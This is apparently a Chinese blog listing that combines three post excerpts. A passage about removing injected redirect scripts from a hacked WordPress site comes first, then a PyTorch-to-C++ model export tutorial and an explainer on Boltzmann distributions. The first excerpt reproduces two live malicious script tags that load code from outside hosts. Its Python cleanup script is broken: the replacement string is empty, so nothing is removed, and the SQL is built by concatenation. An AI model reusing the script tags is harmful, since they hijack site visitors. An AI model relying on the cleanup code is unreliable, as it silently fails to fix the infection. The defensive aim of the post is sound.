<script src="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043" type="text/javascript"></script><script src="https://land.buyittraffic.com/clizkes" type="text/javascript"></script>
这两个js脚本会将网站重定向到top.worldctraffic.com、1.startrafficc.com等俄文网站页面。
【修复方案】编写python程序将黑客插入的重定向字符串删除,代码如下:
import MySQLdb
import pymysql
verbose = False
db = MySQLdb.connect(host="localhost", # your host, usually localhost
user="xxx", # your username
passwd="xxxxx", # your password
db="wordpress", # your db
charset='utf8')
# you must create a Cursor object. It will let
# you execute all the queries you need
cur = db.cursor()
# Use all the SQL you like
cur.execute("SELECT * FROM `wp_posts` WHERE `post_content` LIKE '%https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043%'")
cur_res = cur.fetchall()
# print all the first cell of all the rows
cnt = 0
for row in cur_res:
print row[0]
cnt += 1
new_text = row[4].replace("", "")
if verbose:
print(row[4])
print('=============================')
print(new_text)
sql = "UPDATE wp_posts SET post_content ='" +
pymysql.escape_string(new_text) +"' WHERE id="+str(row[0])
cur.execute(sql)
db.commit()
#break
print('Total', cnt, 'records')
db.close()
以上代码需要修改填入你自己的db用户名和密码并安装依赖项:
pip install pymysql
sudo apt-get install python-mysqldb
为了杜绝wordpress的帖子里的javascript被执行,应当在wp_config.php中添加
/** prevent html in post from executing*/
define('DISALLOW_UNFILTERED_HTML', true);
最后,别忘记修改db密码,删除adminer.php,断绝黑客再次入侵的途径。
阅读本文需要您已经掌握Pytorch的Python用法,并掌握C++语言。
推荐使用Ubuntu/Mac系统实验(cmake可以自动找到已安装的opencv)。
本实验需要已安装好opencv和pytorch 1.0,C++编译环境(Ubuntu需要g++,Mac需要XCode)和cmake。
Pytorch 1.0已经于近日推出,其中一个亮点功能是支持将python训练的模型导出到C++进行推理。相比于目前流行的caffe训练模型+opencv dnn模块推理,pytorch从Python训练到C++部署提供了一体化的方案,可谓攻城狮的福音。
Python导出模型
根据Pytorch官网教程,我们先导出残差网络Resnet18的模型和预训练权重:
# coding=utf-8
import torch
import torchvision
from torchvision import transforms
from PIL import Image
import json
import cv2
# 初始化模型
model = torchvision.models.resnet18(pretrained=True)
model.eval() #将模型置为推理状态
# 随机生成一个输入张量
example = torch.rand(1, 3, 224, 224)
# 利用跟踪数据流的方法生成导出模型
traced_script_module = torch.jit.trace(model, example)
output = traced_script_module(torch.ones(1, 3, 224, 224))
print output.shape
print output[0, :5]
traced_script_module.save("model.pt")
这样在当前目录下会生成一个model.pt
文件,包含了模型定义和权重。
继续阅读 →
看了一些机器学习的论文,我一直有一个困惑:有的文章训练时写的公式是最小化代价函数,有的文章训练时写的是一个跟自然对数有关的概率分布,这是为什么?经过一番学习,终于有了答案。在这个过程中,还有一个意外收获:那就是著名的逻辑斯第函数的由来。
物理上和统计上的玻尔兹曼分布
热平衡在物理学领域通常指温度在时间或空间上的稳定。在统计学习中,如果我们将需要学习的模型看成高温物体,将学习的过程看成一个降温达到热平衡的过程,最终模型的能量将会收敛为一个分布,并且在全局极小能量上下波动。这个过程称为“模拟退火”。而模型能量收敛到的分布称为玻尔兹曼分布(Boltzmann Distribution)。
在物理学中,玻尔兹曼分布,也称为吉布斯分布(Gibbs Distribution),描述了一个粒子系统处于各种状态的概率,其表达式如下:
F(state) \propto \exp{(-\frac{E}{kT})}
其中E
是状态能量,kT
是玻尔兹曼常数$k$与热力学温度T
的乘积。
在统计学中,玻尔兹曼分布给出了一个系统在特定状态能量和系统温度下的概率分布:
p_i = \frac{\exp{(-E_i /kT)}}{\sum_{j=1}^M \exp{(-E_j /kT)}}
其中p_i
是状态$i$出现的概率,E_i
是状态能量,k
是玻尔兹曼常数,T
是系统的温度,M
是系统的状态数量(系统状态是离散的,有限的;找到了一点高中物理原子的电子跃迁的感觉,那状态也是离散的!!!)。所以说,统计学中玻尔兹曼分布的使用是受到了物理中热力学的启发。
从玻尔兹曼分布的定义,我们可以发现系统的两个不同状态的概率之比仅与系统能量有关:
\frac{F(state2)}{F(state1)} = \exp{(\frac{E_1 - E_2}{kT})}
这个比值被称为玻尔兹曼因子(Boltzmann Factor)。
玻尔兹曼机
玻尔兹曼分布在机器学习模型的设计中被广泛采用,我们就从玻尔兹曼机(Boltzmann Machine)说起。
玻尔兹曼机是一个对称连接的神经网络。它用于决定系统的状态是开(1)还是关(0)。玻尔兹曼机可以看成一个通过无向有权边全连接的网络。这个网络的能量函数定义为
E = - (\sum_{i < j} w_{ij} s_i s_j + \sum_i \theta_i s_i)
w_{ij}
是连接节点$i$和$j$的权重。
s_i
是节点$i$的状态,且s_i \in \{0, 1\}
。
\theta_i
是节点i
的在全局能量函数中的偏倚。也就是说-\theta_i
是节点i
的激活阈值。
单个节点$i$的能量定义为
E_i = \theta_i + \sum_j w_{ij}s_j
继续阅读 →